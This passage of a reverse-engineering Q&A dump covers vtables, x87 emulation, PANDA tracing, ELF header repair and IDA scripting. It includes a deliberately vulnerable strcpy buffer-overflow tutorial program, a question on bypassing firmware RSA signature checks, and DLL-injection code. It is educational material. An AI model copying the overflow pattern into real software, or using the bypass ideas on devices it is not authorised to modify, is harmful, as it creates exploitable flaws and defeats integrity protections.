    struct A\n{\n  void virtual test() {};\n  void virtual replay() {};\n}\n
    \n\n

    then using two classes which inherit A, but with different order of virtual functions:

    \n\n
    struct B : public A\n{\n  void virtual test() {};\n  void virtual replay() {};\n}\n\nstruct C : public A\n{\n  void virtual replay() {};\n  void virtual test() {};\n}\n
    \n\n

    If the order of virtual functions in B and C affects their machine code order, then their pointers in corresponding vtables should be different. But the following generated machine code (I have used clang as the compiler) shows that they are not:

    \n\n
    .rodata:0804888C ; vtable for B\n.rodata:0804888C _ZTV1B db    0                   ; DATA XREF: B::B(void)+1Co\n ...\n.rodata:08048894 dd offset _ZN1B4testEv           ; B::test(void)\n.rodata:08048898 dd offset _ZN1B6replayEv         ; B::replay(void)\n ...\n ... \n.rodata:08048904 ; vtable for C\n.rodata:08048904 _ZTV1C db    0                   ; DATA XREF: C::C(void)+1Co\n ...\n.rodata:0804890C dd offset _ZN1C4testEv           ; C::test(void)\n.rodata:08048910 dd offset _ZN1C6replayEv         ; C::replay(void)\n
    \n\n

    The order of virtual functions in B and C are indeed the same (and respects one in A).

    \n" }, { "Id": "12272", "CreationDate": "2016-03-22T10:14:30.920", "Body": "

    I'm trying to get useful results using the Reko decompiler on a dusty old MS-DOS binary compiled with Borland C++ that appears to be performing a lot of floating point arithmetic. I'm seeing code sequences like

    \n\n
    mov ax,0x4D8C    ; segment selector\nmov es,ax\nint 0x3C         ; call x87 emulator??\nfld dword ptr [<some address>]\nsub sp,8\nint 0x39         ; call x87 emulator??\n
    \n\n

    ...etc. A cursory search engine search strongly hints that the int instructions are invoking an x87 emulation library; when the x87 is present, it lets the coprocessor execute the instruction, but when it isn't, the emulator emulates.

    \n\n

    I am well familiar with how to implement FPU operations, with shifts and whatnot. What I'd like to find out more about is the protocol of these invocations to the emulator. I have been unable to locate documentation. Perhaps one of the members of the RE community does?

    \n", "Title": "What is the protocol for x87 floating point emulation in MS-DOS?", "Tags": "|x86|", "Answer": "

    Nothing like asking a question on stackexchange, only to be humiliated by finding the answer (or at least part of it). After finding the following source file, it started making sense:

    \n\n

    https://github.com/alexhenrie/wine/blob/master/dlls/krnl386.exe16/fpu.c

    \n\n

    On old 8086 machines, where there is no trap for invalid instructions, the Elders of the Past came up with an emulation strategy. All x87 instructions are in the D8-DF range (8 possible values) followed by modrm and other goodness. If you prefix the instruction with a FWAIT (opcode 9B), you guarantee that there always be two bytes of code before the modrm byte, looking something like 9B Dx. However, instead of emitting those two bytes, the compiler emits CD xx, where xx ranges 34-3B (8 possible values). As we all know, CD is the encoding of the x86 int instruction.

    \n\n

    When the CPU executes the int instruction and arrives at the handler for 34-3B, it vectors off to the interrupt handler. If there isn't an x87 coprocessor available, the handler will emulate the floating point instruction, maintaining the coprocessor state in memory. If however there is an x87 coprocessor present, the handler will peek at the return stack to see where the int instruction is located, and overwrite it with the appropriate 9B Dx byte sequence, corresponding to the CD 3x byte sequence. It then returns control to the patched instruction so that it gets executed. Now that it has been patched, the instruction is an actual FPU instruction, and future executions of the instructions will no longer take the long detour through the emulator.

    \n\n

    The documentation for how to deal with interrupt 3E is still not forthcoming. However, for the time being, I have enough information to implement x87 emulation support in the Reko decompiler.

    \n" }, { "Id": "12286", "CreationDate": "2016-03-23T19:14:12.680", "Body": "

    I am analysing an embedded system running QNX on armle, uname -a identifies it as:

    \n\n
    QNX mmx 6.5.0 2012/06/20-13:49:13EDT nVidia_Tegra2(T20)_Devlite_Boards armle\n
    \n\n

    Firmware updates come with a file called metainfo2.txt which always ends with a signature block, eg:

    \n\n
    [Signature]\nsignature1 = \"a73e111de512e09bad2dc08eff685a38\"\nsignature2 = \"4fc032192a20fd1e242ad64af5b509a7\"\nsignature3 = \"6a7432f754aff0d6b74a7ec2072cbb11\"\nsignature4 = \"e91f68f569508b77712d1869edd6d0b9\"\nsignature5 = \"923eb77ba815dba8e44d5e09412cdf2e\"\nsignature6 = \"830518f3b38d48df892a3a0c65cc67f1\"\nsignature7 = \"09e5e0f5f06ce0376d032ab21051510f\"\nsignature8 = \"3dab7f75fcdf54a96d8aa7f3c617f76d\"\n
    \n\n

    This looks like it's a RSA encryption and is used to determine if the file contents were changed. I think it's a hash of a particular section of the file: MetafileChecksum = \"ec5afd6459c3579ebed8841cc41fe17bb61b814d\"

    \n\n

    I found a folder with public keys which has a subfolder name MetainfoKey and contains likely the public key, a 288 byte file:

    \n\n
    C0 F3 89 EE C7 B6 6C 9D C7 36 50 8F F8 8A EB 1F\nB1 13 94 2E AD 02 08 14 D0 8D 29 E8 68 F1 4B 20\n86 BC D7 DD CC BA 75 59 F9 99 E7 6D 24 61 96 60\nBB E1 74 34 DA 59 98 80 87 F2 A9 9C D4 65 B1 FF\n42 35 22 B7 8C B0 DE 46 3A 66 96 13 D3 56 DF A9\nE8 6E 0E 2E 0B 6D AB 5D E8 91 31 C5 A0 72 7A EA\nB1 76 72 78 AB 10 1D CD 9C 3C FC 10 26 70 5C 1D\nAB 3B F5 3B F5 0A FA FB 3F 52 DA 2C EB 0B EE 57\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03\n83 0A CD 65 56 FC 2F B4 7B 1B 67 43 12 E3 4E 7A\n0A AD 1E DF BA 7E B2 79 D9 51 3A DB 10 16 61 48\n13 1B BA 9C 85 2A B7 01 91 49 16 65 62 94 61 6B\nB1 A9 B8 F8 46 2E BC 20 6D E5 7F 53 AF EF 00 00\n53 AB 8E 4F 63 29 BF 00 B0 ED 45 E8 E9 20 67 8E\nF6 7A F8 BC CB 7B 4D CF 88 01 59 BB CB F1 B1 04\nD4 A1 C0 57 70 AA D7 38 E8 BD 9A 28 4E 94 99 5C\nB7 96 49 28 5A C4 04 9C 6B 57 8F C5 4F 74 6A C9\n
    \n\n

    My objective is to be able to change metainfo2.txt and a possible method could be to replace the public key with a new one but I need to understand how the signature section is used to verify the file contents. I am looking for answer or pointers on how to achieve this...

    \n", "Title": "Defeat rsa hash verification", "Tags": "|qnx|", "Answer": "

    After some research i came to conclusion that we cannot simply change the keys.\nAs you already know they are all signed, and although the sign key looks to be the MIB-High_MI_public its actually a key that's in the NOR flash OTP area.\nIn our case it happens to be the same is the public key but we cant change that.\nMIBRoot check this before it uses the keys found the the persist area.\nUnless you change the flash chip you cant use your own keys so it just not worth the effort :)

    \n\n

    Regards.

    \n" }, { "Id": "12290", "CreationDate": "2016-03-25T17:36:55.193", "Body": "

    I am writing a PinTool, which can manipulate certain register/memory value. However, after manipulation, one challenge I am facing now, is the deadloop.

    \n\n

    In particular, due to the frequent manipulation of certain register value, it is indeed common to create deadloop in the execution trace. I am thinking to detect such case, and terminate the execution.

    \n\n

    So here is my question, what is a good practice to detect a deadloop in a PinTool? I can come up with some naive solutions, say, record the executed instructions, and if certain instruction has been executed for a large amount of times, just terminate the execution.

    \n\n

    Could anyone help me on this issue? Thank you.

    \n", "Title": "Detect deadloop in PinTool", "Tags": "|pintool|", "Answer": "
      \n

    1. Open debugger and attach to the pin executable to check if the dead loop is in the pin itself. This is highly unlikely and the most probable cause is the tool you've written.

      2. \n

    2. Do the same for the pintool. Pintool is in the target process. So attache debugger to it.

      3. \n
    \n\n

    The debugger should show you where the problem is. Once the area identified, you can open the tool in IDA to do further inspection or \"connect\" your source to debugger.

    \n\n

    Another way, is to log every Trace or basic block that is executing - check in the examples. This log should also show you the problematic area.

    \n" }, { "Id": "12291", "CreationDate": "2016-03-25T22:50:40.397", "Body": "

    I have implemented a Memory Read Access hardware breakpoint in C code.\nIt works perfect and provides me the next instruction after a memory is read.

    \n\n

    I am using BeaEngine to disassemble the instruction at EIP.

    \n\n

    I need to find out the previous executed instruction which is effectively the one that accessed the memory in question (For example, like Cheat Engine does it).

    \n\n

    How can I accomplish this?

    \n", "Title": "Memory Read Access Breakpoint Question", "Tags": "|disassembly|breakpoint|", "Answer": "

    This is a tricky question.

    \n\n

    On x86 platform the maximum length of an instruction is 15 bytes.

    \n\n

    You can read 15 bytes backwards from the current EIP and pass it to Disasm function of BeaEngine. This returns the length of the disassembled instruction. If this equals 15 you have found the previous instruction. If it is less than 15, then pass 1 byte less (i.e 14 bytes) and so on until the length of the buffer passed to BeaEngine equals the length of the disassembled instruction.

    \n\n

    This can be represented in pseudo code

    \n\n
    eip = 0xDEADCODE\n\nlength = 15\nwhile(length > 0)\n{\n    buffer = ReadProcessMemory(start=eip-length, length)\n    lenDisasm = Disasm(buffer)\n\n    if (lenDisasm == length) \n    {\n        prevIns = eip-length\n        break;\n    }\n    else length--;\n}\n
    \n\n

    Note that the above algorithm is not generic in nature i.e. you cannot use it to find the previously executed instruction given the current eip. This only works when the execution sequence is linear without any jumps in between. In case of hardware breakpoints on access the execution sequence is guaranteed to be linear and the above algorithm is applicable.

    \n\n

    EDIT:

    \n\n

    Even in case of hardware breakpoints on access the execution sequence may not be linear as in the following case

    \n\n
    format PE\n\nentry start\n\nsection '.text' code readable executable\n\nstart:\n    nop\n    nop\n    jmp dword [here]\n    mov eax, 1\n    push eax\n    pop eax\n\naddress:\n    xor eax, eax\n    ret     \n\nsection '.data' readable writable\n\nhere:   ; <<<<<<<< HWBP on read\n dd address\n
    \n\n

    A hardware breakpoint on read is set on here. In this case the hwbp would hit when EIP is at address. If you use the above algorithm, the previously executed instruction turns out to be pop eax which is incorrect. \nFor such cases you can use instruction tracing or memory breakpoints (1, 2, 3).

    \n" }, { "Id": "12300", "CreationDate": "2016-03-29T11:22:32.687", "Body": "

    i'm learning to reverse engineer. So i'm coding some programs and try to understand their assembly.\nI stumbled upon a curious case and i think i can't solve it alone.

    \n\n

    Here's the c code:

    \n\n
     #include <stdio.h>\n\nint main(){\n\nchar *texto = \"O numero e %d\\n\";\nint i = 10;\n\nwhile(i){\n    printf(texto, i--);\n}\n\nreturn 0;\n}\n
    \n\n

    The assembly produced by IDA is the following:

    \n\n
    mov     eax, [esp+28]\nlea     edx, [eax-1] ; The part i don't understand\nmov     [esp+28], edx\nmov     [esp+4], eax\nmov     eax, [esp+18h]\nmov     [esp], eax      ; char *\ncall    _printf\n
    \n\n

    What i could understand is that it stores the old value in eax and pushes to stack(I purposedly didn't turn on optimizations) and then it pushes the format.\nWhile that happens in the middle it does the i--, but i can't understand how it's working. So it get's the address of eax-1 and stores in edx and then stores it in i, but eaxdoesn't hold an address but a value.

    \n\n

    Thanks in advance.

    \n", "Title": "Question about LEA instruction", "Tags": "|ida|disassembly|x86|c|", "Answer": "

    What you're seeing is an efficiency trick that compilers like to use.

    \n\n

    Internally, the CPU doesn't make a difference between numbers and addresses - 32 bit integers and pointers are the same thing. (Or 64 bit, if you're using newer architecture, but as your register names start with e, you're using 32 bit).

    \n\n

    The lea instruction loads the address of its operand, instead of the operand itself. In C terms, you could look at [eax-1] as *(eax-1), and lea adds a & operator to that, so lea edx, [eax-1] is like edx = &(*(eax-1)). Which is the same as eax-1 of course.

    \n\n

    The compiler could have done exactly the same using the instruction sequence mov edx, eax; sub edx, 1 or mov edx, eax; dec edx. So, why did it use the lea instruction?

    \n\n

    The answer is that, historically, resolving addresses in lea was done using dedicated address bus hardware and bypassed the ALU. Also, pipelining had its issues when the same register was used twice in subsequent operations. Which means, on older processors, using lea was a few cycles faster than the alternatives, and it's not hard to implement in the compiler, so this is what compilers traditionally did.

    \n\n

    On new processors, the distinction \"lea uses separate hardware\" isn't (neccesarily) made any more, and pipelining is a lot more intelligent than it used to be, so i doubt it's make any difference these days. But it's still in the compilers, and won't get removed from them because there's just no good reason to.

    \n" }, { "Id": "12307", "CreationDate": "2016-03-30T15:14:14.383", "Body": "

    I am going through a tutorial which shows you how to exploit a stack based buffer overflow in a sample C program. The C code is:

    \n\n
    #include <string.h>\n\nvoid function(char *str) {\n   char buffer[1024];\n   strcpy(buffer,str);\n}\n\nint main(int argc,char *argv[])\n{\n    char aaa[500];\n    function(argv[1]);\n}\n
    \n\n

    As per the author if we write 1032 'A's, we should be able to see 'AAAA' in the EIP register. I understand the theory behind it. However, running it on Windows 7 32 bit and debugging it with Immunity Debugger, it says \"Process terminated exit code C0000409\". EIP instead points to \"ntdll.RT lUserThreadStart\". Please advise.

    \n", "Title": "Why can't I get the EIP to reflect my input", "Tags": "|x86|exploit|buffer-overflow|", "Answer": "

    Building upon Jason's answer, this is most likely due to your compilers Buffer Security Check.

    \n\n

    Specifically in Microsoft compilers the '/GS' option.

    \n\n

    The MSDN page gives a better explanation aswell as a few examples.

    \n" }, { "Id": "12312", "CreationDate": "2016-03-31T20:17:18.643", "Body": "

    I am trying to shortcut the call to a procedure that is activated when clicking on a menu item.

    \n\n

    I injected a DLL on the process that creates this window with the menu bar.

    \n\n

    I used Spy++ from VisualStudio to obtain the Menu Identifier for this specific item (wid: 40003). Now I am calling

    \n\n

    CallWindowProcW(wndproc, hwnd, WM_COMMAND, 40003, 0);

    \n\n

    However, the item procedure is not triggered.\nI cannot call the procedure directly because I do not know what it is. I just know that when I click this menu it activates it.

    \n\n

    I have obtained windproc and hwnd doing the following inside my DLL:

    \n\n
     void Init()\n {\n     DWORD procID = GetProcessId(GetCurrentProcess());\n     EnumWindows(myCallback, procID);\n }\n\n BOOL CALLBACK myCallback(HWND hWnd, LPARAM lParam)\n {\n     DWORD wndId;\n\n     GetWindowThreadProcessId(hWnd, &wndId);\n     if(wndId == (DWORD)lParam) //Found the right window handle\n     {\n         WNDPROC windowFunc = (WNDPROC)GetWindowLong(hWnd, GWL_WNDPROC);\n         LRESULT result = CallWindowProcW(windowFunc, hWnd, WM_COMMAND, 40003, 0);\n         return FALSE;\n     }\n     return TRUE;\n  }\n
    \n\n

    EDIT: Have also tried SendMessageA, PostMessageA and DispatchMessageA and failed

    \n\n

    EDIT2: See answer below for working PostMessageA.

    \n", "Title": "Simulate Windows menu item activation", "Tags": "|windows|dll-injection|", "Answer": "

    I would like to have made this a comment but do not have enough points to do so so this would have been a comment on the answer.

    \n\n

    Simply put, the topmost window in a windows environment receives the RawInputThread (RIT). The RIT automatically receives the mouse and keyboard messages and sends them to that window which is at the top of the Z order. Having done a lot of this stuff in the distant past, if you ever need to take total control, a trick that can be done is to implement a top most window (z order) window which covers the whole screen, RIT will give it all messages, and you do what you want with them.

    \n\n

    Back when I was doing this there was little to no documentation on RIT but now you can find lots of documentation. I found this on MSDN Raw Input, but it looks like they are making it more complicated than it really needs to be. MSFT has done things over the years where they hide a topic, then clarify, then put the topic back into hiding. duckduckgo shows numerous hits and yielded a nice gem google didn't find on its first page.

    \n" }, { "Id": "12313", "CreationDate": "2016-04-01T08:34:31.507", "Body": "

    As answer to the post \"Using QEmu monitor interface to extract execution traces from a binary?\", one of the PANDA authors outlined how QUEMU may be used to record execution traces.

    \n\n

    I would like to do it with PANDA.

    \n\n

    I found that the QEMU function cpu_memory_rw_debug(env, pc, buf, size, is_write); allows to access the guest's memory. Yet, I don't know how much memory I have to read, because the size of the opcodes differ.

    \n\n

    PANDA provides the function panda_disas:

    \n\n
    \n
    void panda_disas(FILE *out, void *code, unsigned long size);\n
    \n \n

    Writes a textual representation of disassembly of the guest code at\n virtual address code of size bytes.

    \n
    \n\n

    But same question here, how do I determine the size of the instruction?

    \n\n

    As PANDA_CB_INSN_EXEC and PANDA_CB_INSN_TRANSLATE do not provide the size of the instruction, I figured it must be in CPUState.

    \n\n

    I looked into cpu.h and cpu-all.h but couldn't find anything.

    \n\n

    Is there another approach or am I missing something?

    \n", "Title": "Getting list of opcodes from PANDA trace", "Tags": "|disassembly|x86|qemu|", "Answer": "

    At the moment PANDA doesn't provide information about the instruction size (which isn't known before translation) at the level of an individual instruction. One thing you can do, however, is get the size of an entire basic block once it has been translated by QEMU using PANDA_CB_AFTER_BLOCK_TRANSLATE and then look at the tb->size field. You can then cache the disassembly for that block and print it out in a PANDA_CB_BEFORE_BLOCK_EXEC callback.

    \n\n

    Here is a plugin that uses this trick to compute rolling instruction opcode histograms using the capstone disassembler. You'll have to adapt it a bit to get a full instruction trace, but it should demonstrate the principle.

    \n\n
    // This needs to be defined before anything is included in order to get\n// the PRIx64 macro\n#define __STDC_FORMAT_MACROS\n\nextern \"C\" {\n\n#include \"config.h\"\n#include \"qemu-common.h\"\n\n#include \"panda_plugin.h\"\n#include \"panda/panda_common.h\"\n#include \"rr_log.h\"\n#include <capstone/capstone.h>\n\n}\n\n#include <map>\n#include <string>\n\ntypedef std::map<std::string,int> instr_hist;\n\n\n// These need to be extern \"C\" so that the ABI is compatible with\n// QEMU/PANDA, which is written in C\nextern \"C\" {\n\nbool init_plugin(void *);\nvoid uninit_plugin(void *);\n\n}\n\n#define WINDOW_SIZE 100\n\ncsh handle;\ncs_insn *insn;\nbool init_capstone_done = false;\ntarget_ulong asid;\nint sample_rate = 100;\nFILE *histlog;\n\n// PC => Mnemonic histogram\nstd::map<target_ulong,instr_hist> code_hists;\n\n// PC => number of instructions in the TB\nstd::map<target_ulong,int> tb_insns;\n\n// Circular buffer PCs in the window\ntarget_ulong window[WINDOW_SIZE] = {};\n\n// Rolling histogram of PCs\ninstr_hist window_hist;\nuint64_t window_insns = 0;\nuint64_t bbcount = 0;\n\nvoid init_capstone(CPUState *env) {\n    cs_arch arch;\n    cs_mode mode;\n#ifdef TARGET_I386\n    arch = CS_ARCH_X86;\n    mode = env->hflags & HF_LMA_MASK ? CS_MODE_64 : CS_MODE_32;\n#elif defined(TARGET_ARM)\n    arch = CS_ARCH_ARM;\n    mode = env->thumb ? CS_MODE_THUMB : CS_MODE_ARM;\n#endif\n\n    if (cs_open(arch, mode, &handle) != CS_ERR_OK) {\n        printf(\"Error initializing capstone\\n\");\n    }\n    init_capstone_done = true;\n}\n\nvoid add_hist(instr_hist &a, instr_hist &b) {\n    for (auto &kvp : b) a[kvp.first] += kvp.second;\n}\n\nvoid sub_hist(instr_hist &a, instr_hist &b) {\n    for (auto &kvp : b) a[kvp.first] -= kvp.second;\n}\n\nvoid print_hist(instr_hist &ih, uint64_t window_insns) { \n    fprintf(histlog, \"%\" PRIu64 \" \", rr_get_guest_instr_count());\n    fprintf(histlog, \"{\");\n    for (auto &kvp : ih) {\n        fprintf (histlog, \"\\\"%s\\\": %f, \", kvp.first.c_str(), kvp.second/(float)window_insns);\n    }\n    fprintf(histlog, \"}\\n\");\n}\n\n// During retranslation we may end up with different\n// instructions. Since we don't have TB generations we just\n// remove it from the rolling histogram first.\nvoid clear_hist(target_ulong pc) {\n    for (int i = 0; i < WINDOW_SIZE; i++) {\n        if (window[i] == pc) {\n            window[i] = 0;\n            window_insns -= tb_insns[pc];\n            sub_hist(window_hist, code_hists[pc]);\n        }\n    }\n}\n\nstatic int after_block_translate(CPUState *env, TranslationBlock *tb) {\n    size_t count;\n    uint8_t mem[1024] = {};\n\n    if (asid && panda_current_asid(env) != asid) return 0;\n\n    if (!init_capstone_done) init_capstone(env);\n\n    if (code_hists.find(tb->pc) != code_hists.end()) {\n        clear_hist(tb->pc);\n        return 0;\n    }\n\n    panda_virtual_memory_rw(env, tb->pc, mem, tb->size, false);\n    count = cs_disasm_ex(handle, mem, tb->size, tb->pc, 0, &insn);\n    for (unsigned i = 0; i < count; i++)\n        code_hists[tb->pc][insn[i].mnemonic]++;\n    tb_insns[tb->pc] = count;\n    return 1;\n}\n\nstatic int before_block_exec(CPUState *env, TranslationBlock *tb) {\n    if (asid && panda_current_asid(env) != asid) return 0;\n\n    if (window[bbcount % WINDOW_SIZE] != 0) {\n        target_ulong old_pc = window[bbcount % WINDOW_SIZE];\n        window_insns -= tb_insns[old_pc];\n        sub_hist(window_hist, code_hists[old_pc]);\n    }\n\n    window[bbcount % WINDOW_SIZE] = tb->pc;\n    window_insns += tb_insns[tb->pc];\n    add_hist(window_hist, code_hists[tb->pc]);\n\n    bbcount++;\n\n    if (bbcount % sample_rate == 0) {\n        // write out to the histlog\n        print_hist(window_hist, window_insns);\n    }\n    return 1;\n}\n\nbool init_plugin(void *self) {\n    panda_cb pcb;\n\n    panda_arg_list *args = panda_get_args(\"insthist\");\n    const char *name = panda_parse_string(args, \"name\", \"insthist\");\n    asid = panda_parse_ulong(args, \"asid\", 0);\n    sample_rate = panda_parse_uint32(args, \"sample_rate\", 1000);\n\n    char fname[260];\n    sprintf(fname, \"%s_insthist.txt\", name);\n    histlog = fopen(fname, \"w\");\n\n    pcb.after_block_translate = after_block_translate;\n    panda_register_callback(self, PANDA_CB_AFTER_BLOCK_TRANSLATE, pcb);\n    pcb.before_block_exec = before_block_exec;\n    panda_register_callback(self, PANDA_CB_BEFORE_BLOCK_EXEC, pcb);\n\n    return true;\n}\n\nvoid uninit_plugin(void *self) {\n    print_hist(window_hist, window_insns);\n    fclose(histlog);\n}\n
    \n" }, { "Id": "12316", "CreationDate": "2016-04-01T15:43:40.053", "Body": "

    If the ELF header which usually can be read using readelf has been manually manipulated, let's say by increasing the value for the \"Size of section headers\" the binary still can be executed and works well.

    \n\n

    However, this manipulation seems to trip up reverse engineering tools like GDC and GDB gives me the error: not in executable format: File format not recognized.

    \n\n

    Is there a way to fix the ELF header without knowing the original value of \"Size of section headers\" in order to be able again to analyze the file using standard tools?

    \n\n

    Detailed info:

    \n\n

    GDB is failing to run the binary because it says the file is not in executable format : File format not recognized but it works outside the GDB. The same things happen with the libbfd parser, it can't parse because file format is not recognized. The fact is I only change the number of section headers.

    \n\n

    Code

    \n\n
    #include <stdio.h>\n\nint main()\n{\n    printf(\"Hello World!\\n\");\n    return 0;\n}\n
    \n\n

    Build by invoking make hello or on a 64-bit system make CFLAGS=-m32 hello.

    \n\n

    ELF header before

    \n\n
    $ readelf -h hello\nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           Intel 80386\n  Version:                           0x1\n  Entry point address:               0x8048320\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          4472 (bytes into file)\n  Flags:                             0x0\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         9\n  Size of section headers:           40 (bytes)\n  Number of section headers:         30 <-- notice me!\n  Section header string table index: 27\n
    \n\n

    ELF header after

    \n\n
    $ readelf -h hello\nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           Intel 80386\n  Version:                           0x1\n  Entry point address:               0x8048320\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          4472 (bytes into file)\n  Flags:                             0x0\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         9\n  Size of section headers:           40 (bytes)\n  Number of section headers:         52 <-- already changed!\n  Section header string table index: 27\n
    \n\n

    GDB will output,

    \n\n
    \n

    not in executable format: File format not recognized

    \n
    \n\n

    But if I run it outside of GDB,

    \n\n
    $ ./hello output:\nHello World!\n
    \n\n

    So is there either a method to fix the value for e_shnum without knowing the correct value, or a workaround so I can debug this file in GDB?

    \n", "Title": "Fixing corrupt ELF header field \"e_shnum\" for use in GDB", "Tags": "|gdb|elf|crackme|", "Answer": "

    In this particular case, repairing the header can be automated. Since the section header string table is present, the original value of e_shnum can be found by counting the number of strings in the table.

    \n\n

    Original:

    \n\n
    $ readelf -h hello\nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              DYN (Shared object file)\n  Machine:                           Intel 80386\n  Version:                           0x1\n  Entry point address:               0x3e0\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          6056 (bytes into file)\n  Flags:                             0x0\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         9\n  Size of section headers:           40 (bytes)\n  Number of section headers:         29  <-----------------\n  Section header string table index: 28\n
    \n\n

    Corrupted:

    \n\n
    $ readelf -h hello\nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              DYN (Shared object file)\n  Machine:                           Intel 80386\n  Version:                           0x1\n  Entry point address:               0x3e0\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          6056 (bytes into file)\n  Flags:                             0x0\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         9\n  Size of section headers:           40 (bytes)\n  Number of section headers:         52  <------------------\n  Section header string table index: 28\nreadelf: Error: Reading 2080 bytes extends past end of file for section headers\nreadelf: Error: Reading 7216 bytes extends past end of file for dynamic string table\n
    \n\n

    Reading the section header string table:

    \n\n
    \n
    #!/usr/bin/python3\n\nfrom elftools.elf.elffile import ELFFile\n\nwith open('hello', 'rb') as f:\n    elffile = ELFFile(f)\n    print(\"original e_shnum:\\t\" + str(len(elffile.get_section(28).data().decode('ascii').split('\\x00')) + 1))\n
    \n
    \n\n

    When run against the binary with the corrupted header, the output is as follows:

    \n\n
    $ python3 recover_e_shnum.py \noriginal e_shnum:   29\n
    \n\n

    This script will repair the header automatically:

    \n\n
    \n
    #!/usr/bin/python3\n\nfrom elftools.elf.elffile import ELFFile\nfrom struct import pack\n\nwith open('hello', 'rb+') as f:\n    elffile = ELFFile(f)\n    e_shnum = len(elffile.get_section(28).data().decode('ascii').split('\\x00')) + 1 \n    f.seek(48)\n    f.write(pack('h', e_shnum))\n
    \n
    \n" }, { "Id": "12317", "CreationDate": "2016-04-01T17:50:57.500", "Body": "

    I want to identify the jump statements due to switch/case in an IDA Pro disassembled binary. My ultimate goal is to read the jump table entries. I am also interested in function table/vtables. For switch/case, I see the jump statements as:

    \n\n
      \n

    1. jmp ds:off_20B280CC[ebx*4]

      2. \n

    2. jmp dword ptr ds:loc_6B2A825C[ecx*4] [Q: Is it due to switch/jump?]

      3. \n
    \n\n

    The operand types of these jumps, as I see from GetOperandValue(inst.ea, 0), are \"Memory Reference\" (type value 2). The jump statements like jb short loc_6B2A8154 has operand type \"Immediate Near Address\" (type value 7). However, the jump statements like jmp ds:__imp_memset in the thunk functions to call imported functions also have the operand type \"Memory Reference\".

    \n\n

    Is there any way I can distinguish between jump statements for switch/case and thunk functions?

    \n", "Title": "Identify Jump Statements due to Switch/Case in IDA Pro", "Tags": "|disassembly|idapython|", "Answer": "

    In many cases, IDA already knows that a jump is part of a jump-table and probably the result of a switch. When this is true, you can access it using IDAPython.

    \n\n

    The relevant functions are get_switch_info_ex(ea) and get_switch_info_ex(ea).\nLooking in IDAPython's documentation, we find:

    \n\n
    \n

    calc_switch_cases(insn_ea, py_swi)

    \n \n

    Get information about a switch's cases.

    \n \n

    The returned information can be used as follows:

    \n\n
    for idx in xrange(len(results.cases)):\n    cur_case = results.cases[idx]\n    for cidx in xrange(len(cur_case)):\n        print \"case: %d\" % cur_case[cidx]\n    print \"  goto 0x%x\" % results.targets[idx]\n
    \n \n

    @param insn_ea: address of the 'indirect jump' instruction @param si:\n switch information

    \n \n

    @return: a structure with 2 members: 'cases', and 'targets'.

    \n \n

    Returns: cases_and_targets_t

    \n
    \n\n

    To get the results variable from the example, we use the following code:

    \n\n
    si = idaapi.get_switch_info_ex(ea)\nresults = idaapi.calc_switch_cases(ea, si)\nif not results:\n    print \"No switch related jump at 0x{:X}\".format(ea)\n
    \n\n

    So to check if an instruction is a switch or not, you can use the following function:

    \n\n
    def is_switch(ea):\n    si = idaapi.get_switch_info_ex(ea)\n    results = idaapi.calc_switch_cases(ea, si)\n    return bool(results)\n
    \n\n

    If you wish to use it, I've written a basic wrapper class for IDA's switch in Sark. See here.

    \n" }, { "Id": "12324", "CreationDate": "2016-04-02T14:58:49.997", "Body": "

    Not sure if this is the correct place to post this, but I am having some questions regarding the legality of reverse engineering firmware.

    \n\n

    Specifically, I was looking into the Nintendo 3DS firmware. The EULA clearly states:

    \n\n
    \n

    You may not publish, copy, modify, reverse engineer, lease, rent,\n decompile, or disassemble any portion of the Software, or bypass,\n modify, defeat, tamper with, or circumvent any of the functions or\n protections of your Nintendo 3DS, unless otherwise permitted by law.

    \n \n

    Code of Conduct:

    \n \n

    To help keep the Network Services friendly and safe for all users, you\n will not engage in any harmful, illegal, or otherwise offensive\n conduct, such as:

    \n \n

    Trying to modify or gain unauthorized access to another person\u2019s\n Nintendo Device or Network Account or trying to modify, reverse\n engineer, or gain unauthorized or automated access to any of\n Nintendo\u2019s computers, hardware, software, or networks used to provide\n the Network Services or any feature of a Nintendo Device;

    \n \n

    Hosting, intercepting, emulating, reverse engineering, or redirecting\n the communication protocols used by Nintendo as part of a Nintendo\n Device or the Network Services, regardless of the method used to do\n so; or do anything that might bypass or circumvent measures employed\n to prevent or limit access to any area, content or code of any\n Nintendo Device or Network Services (except as otherwise expressly\n permitted by law);

    \n
    \n\n

    And yet you see blog posts like these: http://gaasedelen.blogspot.ca/2014/03/depackaging-nintendo-3ds-cpu.html

    \n\n

    My question is, what are the legal implications of reverse engineering the 3DS firmware and posting your finding in a blog post?

    \n", "Title": "Legality of reverse engineering firmware", "Tags": "|firmware|", "Answer": "

    This depends on a multitude oft things, especially your location, and you should really ask a lawyer. If Nintendo sues you, \"a random guy in the internet said it was ok\" won't help you anything; your lawyer can at least help you in court and should have insurance to cover up if things really go wrong.

    \n\n

